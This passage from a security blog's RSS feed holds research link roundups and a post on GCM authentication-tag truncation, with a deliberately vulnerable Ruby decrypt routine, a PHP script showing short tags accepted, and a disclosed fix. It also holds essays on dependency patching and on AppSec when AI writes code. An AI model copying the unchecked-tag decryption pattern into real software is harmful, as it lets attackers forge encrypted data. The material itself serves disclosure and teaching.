  <p style="font-size:1.15rem;color:#5E6F7C;line-height:1.7;">Java x2, Go, JWT and a sprinkling of AI</p>
</div>
<div class="mb-5">
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🦫 </span><a href="https://ctftime.org/writeup/25852" target="_blank" style="color:inherit;text-decoration:none;">CTFtime.org / justCTF [*] 2020 / Go-fs / Writeup</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="39"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">1</span></span>
  </div>
  <p class="mt-2">A cool Golang quirk via an unintended CTF solution <a href="https://ctftime.org/writeup/25852" target="_blank">CTFtime.org / justCTF [*] 2020 / Go-fs / Writeup</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">☕️ </span><a href="https://slcyber.io/research-center/almost-impossible-java-deserialization-through-broken-crypto-in-opentext-directory-services/" target="_blank" style="color:inherit;text-decoration:none;">Almost Impossible: Java Deserialization Through Broken Crypto in OpenText Directory Services</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="40"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">2</span></span>
  </div>
  <p class="mt-2">What an adventure in Java Deserialisation...  <a href="https://slcyber.io/research-center/almost-impossible-java-deserialization-through-broken-crypto-in-opentext-directory-services/" target="_blank">Almost Impossible: Java Deserialization Through Broken Crypto in OpenText Directory Services</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">😱 </span><a href="https://insinuator.net/2026/02/jwt-authentication-bypass-in-openid-connect-authenticator-for-tomcat/" target="_blank" style="color:inherit;text-decoration:none;">Vulnerability Disclosure: JWT Authentication Bypass in OpenID Connect Authenticator for Tomcat</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="41"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">3</span></span>
  </div>
  <p class="mt-2">The exact same vulnerability I found in HarbourJWT but in a much cooler target, still not fixed... <a href="https://insinuator.net/2026/02/jwt-authentication-bypass-in-openid-connect-authenticator-for-tomcat/" target="_blank">Vulnerability Disclosure: JWT Authentication Bypass in OpenID Connect Authenticator for Tomcat</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">☕️ </span><a href="https://www.herodevs.com/blog-posts/cve-2026-0603-second-order-sql-injection-in-hibernate-update-delete-inlineidsorclausebuilder" target="_blank" style="color:inherit;text-decoration:none;">CVE-2026-0603: Second-Order SQL Injection in Hibernate UPDATE/DELETE (InlineIdsOrClauseBuilder)</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="42"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">1</span></span>
  </div>
  <p class="mt-2">A bit of a stretch but an interesting insight into Hibernate: <a href="https://www.herodevs.com/blog-posts/cve-2026-0603-second-order-sql-injection-in-hibernate-update-delete-inlineidsorclausebuilder" target="_blank">CVE-2026-0603: Second-Order SQL Injection in Hibernate UPDATE/DELETE (InlineIdsOrClauseBuilder)</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🤖 </span><a href="https://blog.trailofbits.com/2026/02/20/using-threat-modeling-and-prompt-injection-to-audit-comet/" target="_blank" style="color:inherit;text-decoration:none;">Using threat modeling and prompt injection to audit Comet</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="43"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">2</span></span>
  </div>
  <p class="mt-2">The team at Trail of Bits is sharing some key learnings from their audit of Comet (AI browser) <a href="https://blog.trailofbits.com/2026/02/20/using-threat-modeling-and-prompt-injection-to-audit-comet/" target="_blank">Using threat modeling and prompt injection to audit Comet</a>.</p>
</div>
<!-- Substack CTA -->
<div class="mt-5 p-4" style="background-color: #FFFBF5; border: 2px solid #FC9902; border-radius: 8px;">
  <h6 class="mb-3" style="color: #FC9902; font-weight: 700;">📬 Never Miss Quality Security Research</h6>
  <p class="mb-2">Get these curated picks delivered to your inbox every week:</p>
  <ul class="mb-3" style="line-height: 1.8;">
    <li>Hand-picked vulnerability research</li>
    <li>Practical security insights</li>
    <li>CVE deep-dives worth your time</li>
    <li>No fluff, just signal</li>
  </ul>
  <a href="https://pentesterlab.substack.com/" target="_blank" class="btn btn-primary" style="background-color: #FC9902; border: none; color: #fff; font-weight: 600;">Subscribe for Free →</a>
</div>
]]>
      </description>
      <pubDate>Sun, 22 Feb 2026 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week08-2026</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week08-2026</guid>
    </item>
    <item>
      <title>Research Worth Reading - Week 7, 2026</title>
      <description>
        <![CDATA[<div class="mb-4">
  <p style="font-size:1.15rem;color:#5E6F7C;line-height:1.7;">Parser Differential, TypeScript and AI</p>
</div>
<div class="mb-5">
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">⨐ </span><a href="https://hetmehta.com/posts/n8n-type-confusion-rce" target="_blank" style="color:inherit;text-decoration:none;">Breaking Down CVE-2026-25049: How TypeScript Types Failed n8n&#39;s Security</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="34"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">1</span></span>
  </div>
  <p class="mt-2">A great explanation of the recent vulnerabilities impacting n8n. If you are working in security on TypeScript projects, it&#39;s a must read. <a href="https://hetmehta.com/posts/n8n-type-confusion-rce" target="_blank">Breaking Down CVE-2026-25049: How TypeScript Types Failed n8n&#39;s Security</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">⚒️ </span><a href="https://www.praetorian.com/blog/introducing-augustus-open-source-llm-prompt-injection/" target="_blank" style="color:inherit;text-decoration:none;">Introducing Augustus: Open Source LLM Prompt Injection Tool</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="35"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">Praetorian is back with another tool (one of their 12 Caesars): Augustus... Make sure you check it out! <a href="https://www.praetorian.com/blog/introducing-augustus-open-source-llm-prompt-injection/" target="_blank">Introducing Augustus: Open Source LLM Prompt Injection Tool</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🤺 </span><a href="https://blog.voorivex.team/when-two-parsers-disagree-exploiting-query-string-differentials-for-xss" target="_blank" style="color:inherit;text-decoration:none;">When Two Parsers Disagree: Exploiting Query String Differentials for XSS</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="36"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">If you enjoy parser differential issues, you are going to love this exploit. Don&#39;t think &quot;It&#39;s a CTF challenge&quot; or &quot;It&#39;s just an XSS&quot;, read between the lines to find the real gold. <a href="https://blog.voorivex.team/when-two-parsers-disagree-exploiting-query-string-differentials-for-xss" target="_blank">When Two Parsers Disagree: Exploiting Query String Differentials for XSS</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🤖 </span><a href="https://www.hacktron.ai/blog/hacking-google-antigravity" target="_blank" style="color:inherit;text-decoration:none;">RCE in Google&#39;s AI code editor Antigravity - $10000 Bounty</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="37"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">A detailed blog post on hacking Antigravity with a lot of interesting details on its inner workings. <a href="https://www.hacktron.ai/blog/hacking-google-antigravity" target="_blank">RCE in Google&#39;s AI code editor Antigravity - $10000 Bounty</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🚛 </span><a href="https://www.sebsrt.xyz/blog/trailing-danger/" target="_blank" style="color:inherit;text-decoration:none;">Trailing Danger: exploring HTTP Trailer parsing discrepancies</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="38"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">2</span></span>
  </div>
  <p class="mt-2">Probably one of the lesser-known features of HTTP... Trailers. This post provides details on the feature and explains how they can be leveraged to find security issues.  <a href="https://www.sebsrt.xyz/blog/trailing-danger/" target="_blank">Trailing Danger: exploring HTTP Trailer parsing discrepancies</a>.</p>
</div>
<!-- Substack CTA -->
<div class="mt-5 p-4" style="background-color: #FFFBF5; border: 2px solid #FC9902; border-radius: 8px;">
  <h6 class="mb-3" style="color: #FC9902; font-weight: 700;">📬 Never Miss Quality Security Research</h6>
  <p class="mb-2">Get these curated picks delivered to your inbox every week:</p>
  <ul class="mb-3" style="line-height: 1.8;">
    <li>Hand-picked vulnerability research</li>
    <li>Practical security insights</li>
    <li>CVE deep-dives worth your time</li>
    <li>No fluff, just signal</li>
  </ul>
  <a href="https://pentesterlab.substack.com/" target="_blank" class="btn btn-primary" style="background-color: #FC9902; border: none; color: #fff; font-weight: 600;">Subscribe for Free →</a>
</div>
]]>
      </description>
      <pubDate>Mon, 16 Feb 2026 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week07-2026</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week07-2026</guid>
    </item>
    <item>
      <title>Playing Tag with GCM</title>
      <description>
        <![CDATA[
<p>It all started with a CVE. It feels like it always does 😉. <a href="https://github.com/jwt/ruby-jwe/security/advisories/GHSA-c7p4-hx26-pr73" target="_blank">CVE-2025-54887</a> (CVSS 9.1) disclosed a missing GCM authentication tag validation in the <code>ruby-jwe</code> library. JWT and Ruby, two things I love, so I couldn't not dig into it. The advisory referenced a <a href="https://nsec.io/session/2025-exploiting-the-not-so-misuse-resistant-aes-gcm-api-of-openssl" target="_blank">NorthSec talk on GCM</a>, and that's when one CVE started turning into many more issues.</p>

<h5 class="fw-bold my-3">A quick refresher on GCM</h5>
<p><strong>Galois/Counter Mode (GCM)</strong> is a popular authenticated encryption mode built on top of block ciphers like AES. It is widely used because it provides both <em>confidentiality</em> and <em>integrity</em> in one pass, and it’s efficient even in high-throughput environments.</p>

<p>Two elements are critical to understand:</p>
<ul>
  <li><strong>Nonce (IV):</strong> A unique, usually random, value that must never be reused with the same key. Reusing a nonce with GCM completely undermines its security.</li>
  <li><strong>Authentication Tag:</strong> A short cryptographic checksum (commonly 16 bytes) that ensures the ciphertext and associated data have not been tampered with. During decryption, the tag must be verified before releasing any plaintext.</li>
</ul>

<p>This combination makes GCM extremely powerful, <strong>if implemented correctly</strong>.</p>

<h5 class="fw-bold my-3">The problem: lenient tag verification</h5>
<p>In the NorthSec talk, the speaker highlighted that in both PHP and Ruby, decryption APIs don’t strictly enforce the length of the authentication tag. If you pass a shorter tag, these libraries will happily verify only those bytes and continue. That means it’s up to developers to enforce the tag size themselves.</p>

<h5 class="fw-bold my-3">Example of vulnerable Ruby usage</h5>
<pre><code class="language-ruby">cipher = OpenSSL::Cipher.new("aes-128-gcm")
cipher.decrypt
cipher.key = key
cipher.iv  = iv

# BUG: No length check! a 1-byte tag will be accepted.
cipher.auth_tag = provided_tag

plaintext = cipher.update(ciphertext) + cipher.final
</code></pre>


If you want to play at home (in PHP) this time:

<pre><code class="language-php">&lt;?php
$key = random_bytes(32);
$plaintext = "test message";
$nonce = random_bytes(12);

// Encrypt
$ciphertext = openssl_encrypt($plaintext, 'aes-256-gcm', $key, 
                              OPENSSL_RAW_DATA, $nonce, $tag);

echo "PHP - Testing tag sizes:\n";
foreach ([16, 15, 14, 12, 8, 4, 2, 1, 0] as $size) {
    $truncated_tag = $size == 0 ? "" : substr($tag, 0, $size);
    
    $result = @openssl_decrypt($ciphertext, 'aes-256-gcm', $key, 
                        OPENSSL_RAW_DATA, $nonce, $truncated_tag);
    
    if ($result !== false && $result === $plaintext) {
        echo "  Tag size $size bytes: ACCEPTED ⚠️\n";
    } else {
        echo "  Tag size $size bytes: REJECTED ✓\n";
    }
}

?&gt;
</code></pre>

And you get:
<pre><code>PHP - Testing tag sizes:
  Tag size 16 bytes: ACCEPTED ⚠️
  Tag size 15 bytes: ACCEPTED ⚠️
  Tag size 14 bytes: ACCEPTED ⚠️
  Tag size 12 bytes: ACCEPTED ⚠️
  Tag size 8 bytes: ACCEPTED ⚠️
  Tag size 4 bytes: ACCEPTED ⚠️
  Tag size 2 bytes: ACCEPTED ⚠️
  Tag size 1 bytes: ACCEPTED ⚠️
  Tag size 0 bytes: REJECTED ✓
</code></pre>

<p>The worst part, an issue has been open in July 2016 to get this behaviour changed in ruby/openssl: <a href="https://github.com/ruby/openssl/issues/63" target="_blank">https://github.com/ruby/openssl/issues/63</a>

<h5 class="fw-bold my-3">Node.js note</h5>
<p>When digging further, I discovered that Node.js accepts tags as short as 4 bytes by default. The <a href="https://github.com/nodejs/node/issues/17523" target="_blank" rel="noopener">original issue</a> was opened in 2017 and closed without a fix. A <a href="https://github.com/nodejs/node/issues/52327" target="_blank" rel="noopener">new issue</a> was opened in 2024, noting that among 41 popular GitHub projects using Node's crypto module, only 7 properly protected against short tags, while 15 would allow forgeries within 2<sup>32</sup> queries. This eventually led to a runtime deprecation (<code>DEP0182</code>) and a <a href="https://github.com/nodejs/node/pull/61082" target="_blank" rel="noopener">documentation warning</a> for <code>setAuthTag()</code>. But as of now, the default behaviour still accepts truncated tags.</p>

<h5 class="fw-bold my-3">Not just PHP, Ruby, and Node</h5>
<p>After looking deeper, I found at least three other languages that suffer from the same class of bug. Erlang (and by extension Elixir) had the same issue and <a href="https://github.com/erlang/otp/pull/10178" target="_blank">updated their documentation</a> to warn about tag length. Another language is still being discussed with its maintainers. The short version: this problem is wider than most people think.</p>

<h5 class="fw-bold my-3">A real-world example: Reforge's Ruby SDK</h5>

<p>Once I understood the pattern, I started looking for it in other Ruby projects. I came across <a href="https://github.com/ReforgeHQ/sdk-ruby" target="_blank">Reforge's Ruby SDK</a> which uses AES-256-GCM to encrypt data. Their <code>decrypt</code> method looked like this:</p>

<pre><code class="language-ruby">def decrypt(encrypted_string)
  unpacked_parts = encrypted_string.split(SEPARATOR).map { |p| [p].pack("H*") }

  cipher = OpenSSL::Cipher.new(CIPHER_TYPE)
  cipher.decrypt
  cipher.key = @key
  cipher.iv = unpacked_parts[1]
  cipher.auth_tag = unpacked_parts[2]  # No length check!

  decrypted = cipher.update(unpacked_parts[0])
  decrypted << cipher.final
  decrypted
end</code></pre>

<p>The encrypted string format is <code>ciphertext--iv--tag</code>, all hex-encoded. Since there is no validation of the tag length, anyone who can manipulate the encrypted string (e.g. intercepting it in transit, modifying a stored value) could truncate the tag to a single byte. With Ruby's OpenSSL bindings happily accepting a 1-byte tag, an attacker would only need around 256 attempts to forge a valid ciphertext.</p>

<p>I <a href="https://github.com/ReforgeHQ/sdk-ruby/issues/15" target="_blank">reported the issue</a> to Reforge on October 1, 2025. To their credit, they responded quickly and <a href="https://github.com/ReforgeHQ/sdk-ruby/pull/21" target="_blank">shipped a fix</a> on October 7, 2025, adding an explicit tag length check:</p>

<pre><code class="language-ruby">AUTH_TAG_LENGTH = 16

def decrypt(encrypted_string)
  encrypted_data, iv, auth_tag = encrypted_string.split(SEPARATOR).map { |p| [p].pack("H*") }

  # Currently the OpenSSL bindings do not raise an error if auth_tag is
  # truncated, which would allow an attacker to easily forge it. See
  # https://github.com/ruby/openssl/issues/63
  if auth_tag.bytesize != AUTH_TAG_LENGTH
    raise "truncated auth_tag"
  end

  cipher = OpenSSL::Cipher.new(CIPHER_TYPE)
  cipher.decrypt
  cipher.key = @key
  cipher.iv = iv
  cipher.auth_tag = auth_tag

  decrypted = cipher.update(encrypted_data)
  decrypted << cipher.final
  decrypted
end</code></pre>

<p>The fix is straightforward: check that the tag is exactly 16 bytes before passing it to OpenSSL. This is the kind of one-line check that every GCM implementation should have, but that the underlying libraries don't enforce.</p>

<h5 class="fw-bold my-3">No CVE, no advisory</h5>
<p>Despite being a real vulnerability in a public SDK, no CVE was issued and no security advisory was published. The fix was quietly merged as version 1.11.2. This is unfortunately common: many libraries treat these as "improvements" rather than security fixes, which means downstream users have no signal to update urgently. If you're relying on GCM for authenticity, this is exactly the kind of silent fix you'd miss.</p>

<h5 class="fw-bold my-3">Why this matters</h5>
<p>Truncating the tag drastically reduces the difficulty of forgery. If only one byte is verified, an attacker needs just 256 tries to find a valid tag. If only 4 bytes are checked, it's 2<sup>32</sup> possibilities, still within reach of motivated attackers.</p>

<h5 class="fw-bold my-3">Takeaway</h5>
<p>This is pretty wild. If you're a developer, don't blindly trust the built-in GCM functions to enforce the correct tag size. Always add an explicit length check before passing the tag to decryption. Treat the tag as a fixed-size value (typically 16 bytes) and reject anything else.</p>

<p>If you want to practice exploiting GCM tag truncation yourself, try our <a href="/exercises/gcm_tag_truncation">GCM Tag Truncation</a> exercise.</p>
]]>
      </description>
      <pubDate>Fri, 13 Feb 2026 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/playing-tag-with-gcm</link>
      <guid>https://pentesterlab.com/blog/playing-tag-with-gcm</guid>
    </item>
    <item>
      <title>What Dependency Management Can Learn from Certificate Management?</title>
      <description>
        <![CDATA[<p>There was a time when certificate management was a constant source of outages. Not because TLS is complicated, and not because cryptography is fragile, but because someone had to remember to renew something. And humans are very bad at that.</p>

<h5>The Certificate Horror Years</h5>

<p>If you've been around long enough, you've probably seen at least one certificate outage. A production service goes down because a cert expired. It always happens at the worst time: at night, over a weekend, during a holiday, while everyone is travelling, or when the one person who knows where "that thing" lives is offline. Sometimes it's even worse because no one remembers creating the certificate in the first place. Then you get the classic moment of panic: where is this certificate actually used? Is it on a load balancer, a CDN, an ingress controller, a reverse proxy, a random VM that no one logs into anymore?</p>

<p>The pattern is boring because it repeats. One certificate gets forgotten, renewal doesn't happen, and the failure is visible to everyone. The "solution" is also boring. People add calendar reminders, maintain a spreadsheet, create a wiki page, or funnel renewal notifications into a shared inbox. It doesn't work reliably.</p>

<p>It doesn't fail because people don't care. It fails because manual security processes don't scale. Certificates are ruthless in the way they expose that. They expire on a fixed date, and when they fail, they fail hard. There is no partial outage and no "acceptable risk" discussion. Everyone notices immediately.</p>

<p>Certificates were one of the first areas where security failed loudly enough that excuses stopped working.</p>

<h5>Why Certificate Management Had to Become Automated</h5>

<p>Certificate management didn't improve because we got better at process. It improved because the ecosystem changed around a simple fact: if renewal is manual, outages are inevitable.</p>

<p>Let's Encrypt didn't just make certificates free. It made manual renewal indefensible. And ACME is the part people forget to name even though it's the real mechanism that changed everything. ACME turned certificate renewal into something you could treat like an API call: prove control of a domain, get a certificate, renew it on schedule, rotate it automatically, and do it again without a human SSH'ing into anything at 2am. Once you have an automation protocol that every tool can speak, "remember to renew" stops being a process problem and becomes an engineering problem. That shift is why short-lived certificates became realistic. It's also why renewal moved out of wiki pages and into load balancers, ingress controllers, CDNs, and pipelines.</p>

<p>Short-lived certificates made the situation worse before it made it better. Once certificates rotate frequently, you can't rely on memory, you can't "just be careful", and you can't pretend a spreadsheet will scale. You either automate, or you guarantee that production will break.</p>

<p>So the industry adapted. Certificates became cheap and disposable. Renewal became code. TLS moved into platforms such as CDNs, load balancers, and ingress controllers. Ownership became explicit.</p>

<p>Today, renewing certificates is boring, and boring is exactly what you want. No one debates whether to renew a certificate and no one risk-accepts expiry. You automate it, or your service breaks.</p>

<h5>Dependency Management Is Where Certificates Used to Be</h5>

<p>Now look at how we handle dependencies.</p>

<p>If this feels uncomfortably familiar, that's because it is. Dependency trees are large. Transitive dependencies are everywhere. Inventories are incomplete. People say things like "we think this service uses that library", and vulnerabilities are discovered long after the code shipped.</p>

<p>Log4j made this painfully concrete. When Log4Shell dropped in December 2021, teams everywhere faced the same certificate-era panic: where is this actually used? The answer was often "we don't know." Log4j was a transitive dependency, pulled in by other libraries, buried deep in dependency trees that no one had fully mapped. Organizations spent weeks hunting through codebases, container images, and vendor disclosures trying to answer a question that should have been trivial: do we use this library?</p>

<p>The response was chaotic precisely because dependency inventories were incomplete. And Log4j wasn't even a subtle vulnerability. It was loud, well-publicized, and actively exploited. The industry still struggled to respond quickly.</p>

<p>Then the usual pattern emerges: triage meetings, CVSS discussions, backlogs, and risk acceptance. This is certificate management from ten years ago, just less honest about failure.</p>

<p>The key difference is visibility. Certificates expire loudly. Vulnerabilities fail silently until they don't. There is no expiration date on a vulnerability. There is only the day someone weaponizes it.</p>

<h5>Why Traditional Vulnerability Management Doesn't Scale</h5>

<p>Traditional vulnerability management assumes humans can understand every vulnerability, prioritize correctly, and act fast enough. That assumption has never held at scale.</p>

<p>Attackers automated years ago. They automated discovery, exploitation, and target selection. Defenders responded with dashboards and meetings. We ended up in a situation where attackers operate at machine speed while defenders operate at meeting speed.</p>

<p>Certificates taught us that this gap doesn't close with better process. It closes when automation becomes mandatory. Dependency management is slowly being dragged toward the same model. Not because it's elegant, but because there is no alternative.</p>

<p>The direction is clear. Frequent dependency updates, like short-lived certificates. Auto-upgrades, like auto-renewal. Pinning treated as an exception rather than the default. Platform ownership rather than application-by-application heroics. Pipelines that fail fast rather than letting vulnerable versions sit quietly for months.</p>

<p>The winning approach is not "let's analyze every CVE" and it's not "let's manually review every upgrade." That approach already collapsed under its own weight. The winning approach is to update by default, automate everything that is routine, make exceptions explicit, and spend human time only on the weird cases.</p>

<p>Exactly like certificates.</p>

<h5>The Real Cost Isn't If You Patch, It's When</h5>

<p>This is the part people miss.</p>

<p>Teams treat patching as a binary choice when it's actually a cost-accumulation problem. Do we patch? Do we upgrade? Do we accept the risk? But the real decision isn't whether. It's when.</p>

<p>If there's one quote that applies here, it's: "If it hurts, do it more frequently."</p>

<p>People delay updates because they fear surprises. That fear makes sense. But the longer you wait, the bigger the surprise becomes.</p>

<p>If you bump dependencies regularly, you usually go from one minor version to the next. The surface area is small. Behavior changes are limited. Changelogs are readable. Tests usually tell you what broke. Most of the time, nothing interesting happens, which is the goal. It's exactly the same dynamic that made certificate renewal boring: renew often, change little, avoid drama.</p>

<p>Waiting turns small pain into big pain. "Let's skip this update for now" turns into multiple minor versions skipped, behavior changes stacked, deprecations finally removed, and assumptions silently invalidated. At that point, even a "minor upgrade" stops being minor. That's where teams get trapped. They start saying they can't update because it's too risky, that they need more time to test, and that they'll schedule it later.</p>

<p>Later doesn't get easier. Later just collects interest.</p>

<p>Certificates taught us the same thing. Postponing renewal doesn't make renewal safer. It just guarantees a worse failure later. Dependencies work the same way. Every skipped update increases the blast radius of the next one, makes root cause analysis harder, raises the cost of testing, and increases fear of touching the system at all. Eventually you end up with a system that's "too fragile to change." That's not stability. That's stagnation.</p>

<p>The goal isn't heroic patching during incidents. The goal is making patching uninteresting. Fast, continuous updates mean smaller diffs, fewer surprises, lower cognitive load, and easier rollback. Security scales when it's boring, and boring only happens when you do things early and often, not carefully and later.</p>

<h5>Why This Is Harder Than Certificates</h5>

<p>There is one important difference. Renewing a certificate almost never changes application behavior. Upgrading a dependency often does.</p>

<p>This is where fear enters: breaking changes, subtle behavior shifts, and hidden assumptions. That fear is rational, and it's the reason dependency automation stalled where certificate automation succeeded.</p>

<p>The blocker isn't tooling. It's understanding impact.</p>

<h5>Where AI Actually Helps</h5>

<p>AI is not here to "fix vulnerabilities." That framing is wrong and dangerous.</p>

<p>AI is useful because it reduces the cost of understanding change. It can trace code paths to see whether vulnerable code is reachable. It can summarize differences between dependency versions. It can explain behavior changes in plain language. It can draft upgrade pull requests with context.</p>

<p>This is exactly the kind of work humans hate doing. It's time-consuming, repetitive, and easy to get wrong when you're tired.</p>

<p>AI doesn't eliminate risk. It reduces uncertainty, which is what usually blocks action.</p>

<h5>Humans Should Handle Exceptions, Not Routine Work</h5>

<p>Certificate management worked once we accepted that humans should not be in the renewal loop and that humans should handle failures, not normal operation.</p>

<p>Dependency management is heading in the same direction. Humans shouldn't read every changelog, manually diff every release, or patch under pressure during an incident. Humans should review exceptions, make architectural decisions, and handle novel cases.</p>

<p>That's a much better use of expertise.</p>

<h5>The Actual Lesson From Certificates</h5>

<p>Certificates didn't get better because security teams tried harder. They got better because the industry accepted three uncomfortable truths: failure must be unacceptable, automation must be mandatory, and humans must deal with exceptions, not routine work.</p>

<p>Dependency management is following the same path, just later and under more pressure. AI doesn't change the destination. It shortens the time it takes to get there.</p>

<p>And the teams that learn from certificate management early won't look heroic. They'll look boring.</p>

<p>Which, in security, is usually a sign they're doing something right.</p>
]]>
      </description>
      <pubDate>Tue, 10 Feb 2026 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/what-certificates-taught-us-about-dependency-management</link>
      <guid>https://pentesterlab.com/blog/what-certificates-taught-us-about-dependency-management</guid>
    </item>
    <item>
      <title>When Code Is Cheap, What Happens to AppSec?</title>
      <description>
        <![CDATA[           <div>
              <p>With Anthropic's Opus 4.5, <a href="https://ghuntley.com/ralph/">Ralph Wiggum Loop</a> and <a href="https://github.com/steveyegge/gastown">GastOwn</a>, a few people on the bleeding edge of AI-based software development are going to bed and waking up to fully working applications, not toy demos, but real features wired to a database, an auth flow, and something that actually runs.</p>

              <p>Because of that, more and more people are discussing the death of software <b>developer</b>, the people who write code. Not because code disappears, but because producing it is getting faster, more automated, and easier to delegate. The idea is that only software <b>engineer</b> will stay, the people who architect software, give directions, and review outcomes. In other words, less code production, more direction and review.</p>

              <p>I am not fully buying the "developers will disappear" narrative. But regardless of where you land, you have to admit that writing code is quickly evolving right now, and AppSec will have to evolve with it.</p>
            </div>

              <h5 class="fw-bold my-3">Questions for AppSec Enthusiasts</h5>

              <p>This brings a few questions for the AppSec enthusiasts:</p>

              <ul>
                <li>If the people shipping features are not typing most of the code anymore, what's the point of secure coding training? Do we shift more of that effort to "secure reviewing" and specification, the prompts, the constraints, and the tests that guard the behavior?</li>
                <li>If code is produced faster than humans can read it, what does code review become? Do we move from line-by-line review to reviewing diffs with stronger guardrails, threat models, and automated checks that we actually trust?</li>
                <li>What is the future of pentesting in that world? If your job is mostly running tools, what happens when the tools run themselves, and the output is already summarized for the engineer? What is the pentesting version of a <b>software developer</b>? What is the pentesting version of a <b>software engineer</b>? Is it tool runner vs investigator?</li>
                <li>What happens to vulnerability management in dependencies? If AI writes most of the code, AI can probably keep patching to the latest versions while engineers are sleeping or getting coffee. And then why would you care about reachability? You do not ask yourself if or when you should patch, AI just patches regardless. Breaking changes? Can the same loop handle them too? And if you patch all the time, does that make breaking changes less scary over time, since you never fall behind?</li>
                <li>How do we scale AppSec? Are <a href="https://pentesterlab.com/blog/building-blocks">building blocks</a> more important than ever? And how do we ensure coding agents always use those building blocks? Should AppSec engineers spend more time tweaking AGENTS.md to include the right security guardrails, or reviewing source code?</li>
                <li>What is the impact on buy vs build? Should you still buy security products, or are you better off leveraging coding agents to build something closer to your actual need, and accept the maintenance and responsibility that comes with it?</li>
                <li>What happens to people who cannot use those coding agents, for development and for security reviews? The gap between open source capabilities and closed capabilities seems to be widening at the moment.</li>
                <li>And the big one: how do we ensure AI-generated code is safe, and stays safe over time? Not just on day one, but after refactors, dependency updates, and "one small change" that reopens the same class of bug.</li>
              </ul>

              <h5 class="fw-bold my-3">Not Theoretical</h5>

              <p>This is not theoretical. I recently experimented with Claude Code skills and reviewing JWT libraries. I found a few interesting issues, a few signature bypasses, a lot of non-constant-time comparisons, and a few libraries supporting the None algorithm (including this vulnerability I reported: <a href="https://github.com/beatt83/jose-swift/security/advisories/GHSA-88q6-jcjg-hvmw">GHSA-88q6-jcjg-hvmw</a>).</p>

              <h5 class="fw-bold my-3">Conclusion</h5>

              <p>We are living in very exciting times for AppSec and even for humanity. Regardless of your opinion, you have to ask yourself those questions.</p>
]]>
      </description>
      <pubDate>Tue, 10 Feb 2026 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/when-code-is-cheap-what-happens-to-appsec</link>
      <guid>https://pentesterlab.com/blog/when-code-is-cheap-what-happens-to-appsec</guid>
    </item>
    <item>
      <title>Research Worth Reading - Week 6, 2026</title>
      <description>
        <![CDATA[<div class="mb-4">
  <p style="font-size:1.15rem;color:#5E6F7C;line-height:1.7;">Busy week! AI, AI, AI and the death of Flash!</p>
</div>
<div class="mb-5">
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🤖 </span><a href="https://github.com/semgrep/skills" target="_blank" style="color:inherit;text-decoration:none;">Semgrep&#39;s Agent Skills</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="25"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">1</span></span>
  </div>
  <p class="mt-2">Semgrep released a set of agent skills worth looking into: <a href="https://github.com/semgrep/skills" target="_blank">Semgrep&#39;s Agent Skills</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🤿 </span><a href="https://blog.voorivex.team/shaking-the-mcp-tree" target="_blank" style="color:inherit;text-decoration:none;">Shaking the MCP Tree: A Security Deep Dive</a></h5>
